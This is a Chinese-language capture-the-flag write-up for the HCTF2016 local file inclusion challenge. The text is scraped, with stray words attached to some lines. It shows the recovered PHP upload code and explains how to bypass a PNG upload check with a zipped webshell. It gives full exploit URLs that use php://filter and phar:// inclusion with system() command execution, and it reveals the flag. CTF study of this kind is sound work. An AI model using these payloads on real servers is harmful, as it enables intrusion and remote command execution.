项目地址:https://github.com/Heart-Sky/HCTF2016-LFIphp
题目上传图片,先简单抓包html
发现包中URL进行了两次变化:前端
结合上面的抓包,内容联想是不是文件包含题目git
首先猜想github
?fp=show.php
返回结果同样,包含失败web
尝试修改成shell
?fp=./show
返回数据包中出现重定向,说明存在文件spa
这样一来能够肯定的是题目考点是文件包含3d
逐个尝试code
最后base64解密获得./show的源码:
<?php $imagekey = $_GET['imagekey']; if(empty($imagekey)) { echo "<script>location.href='home.php'</script>"; exit; } ?> <div class="alert alert-success" role="alert"> 上传成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">点此查看</a> </div>
同理发现./upload访问后也重定向
包含得源码
<?php include 'function.php'; if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name'])) { $name = $_FILES['image']['tmp_name']; $type = $_FILES['image']['type']; $size = $_FILES['image']['size']; if(!is_uploaded_file($name)) { ?> <div class="alert alert-danger" role="alert">图片上传失败,请从新上传</div> <?php exit; } if($type !== 'image/png') { ?> <div class="alert alert-danger" role="alert">只能上传PNG图片</div> <?php exit; } if($size > 10240) { ?> <div class="alert alert-danger" role="alert">图片大小超过10KB</div> <?php exit; } $imagekey = create_imagekey(); move_uploaded_file($name,"uploads/$imagekey.png"); echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>"; } ?>
分析源码能够看见,题目要求只能上传png后缀图片,且大小不超过10KB。对比一下本身写的图片马,确定都是大于10KB没法上传的。
PHP中的ZIP伪协议能够读取调用压缩包中的文件,zip://
事先准备好php的webshell,压缩成zip,上传绕过前端的验证
错误的绕过:
修改了文件类型,解析的时候会出问题
正确的绕过:压缩后修改后缀名,参考:如何假装压缩文件为图片
访问的图片URL:
详细包含示例:
#号后面是压缩包里的文件1.php,读取的时候只有文件名1,不须要后缀(上面为了便于理解加了.php)
尝试包含可是zip没法使用,就替换成相似的phar://
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);
看到目录下的flag文件,直接源码包含
http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9
获得
Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo= Congratulations,flag is here,and then? <?php //hctf{Th1s_1s_e4sY_1s_n0T_1t?} ?>